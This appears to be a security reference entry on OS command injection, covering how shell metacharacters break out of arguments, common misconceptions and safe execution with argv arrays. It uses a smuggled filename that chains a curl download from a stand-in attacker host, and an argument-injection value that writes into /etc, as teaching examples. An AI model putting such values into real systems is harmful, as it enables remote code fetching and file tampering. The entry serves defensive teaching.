Command Injection
Command injection concatenates untrusted input into a shell command string, letting metacharacters append arguments and additional commands that run with the server privileges.
Definition
Command injection occurs when input flows into an OS command line built by string concatenation. Shell metacharacters — semicolons, backticks, pipes, argument separators — let the attacker break out of the intended argument and execute additional commands under the process privileges. The fix is avoiding shell invocation entirely and passing argv arrays with uninterpreted arguments.
Context and scope
Found in image and video processing pipelines, file operations, report generators, and admin tooling that shells out. Dockerized deployments reduce but do not remove blast radius.
Common misconceptions
- Escaping quotes in the input is a fix — shells interpret far more than quotes: whitespace, separators, expansions, and environment lookups
- Blacklisting dangerous characters works — encodings, unicode tricks, and forgotten metacharacters defeat blocklists; allowlist or no shell
- Sandboxing the container neutralizes it — credentials mounted into the container and service tokens in environment make in-container execution valuable
Anti-patterns
- Invoking convert or ffmpeg via shell string with a user-supplied filename
- Using the shell for glob or pipe convenience while interpolating paths from requests
- Passing commands through system tools like eval-in-shell helpers because exec without shell felt harder
Related concepts
Related examples
Authoritative source
What it is
The process runs commands with real privileges. When the command line is assembled as a string, input is not data but syntax: the shell parses it. Anything the shell understands becomes available to the attacker — command separators, redirection, variable expansion.
How it works
A filename like file.png; curl attacker -o x becomes two commands under naive interpolation. Safe execution passes an argv array through execve with no shell: each argument stays a literal string, metacharacters inert. Where a shell is unavoidable, validated allowlisted values and careful quoting discipline apply — reluctantly and with review.
When to audit
Every spawn, exec, system, or backtick call reachable from request data, including indirect paths through job queues and template rendering. Prefer language-native libraries over shelling out; most image, archive, and file tasks have them.
Pitfalls
Argument-level injection persists without shell: a value like –output=/etc/x passed to a tool changes semantics even as a single argv element. Validate against expected formats and place user data after a double dash where tools support it. Log the exact argv executed, never a reassembled shell string, so audits see reality.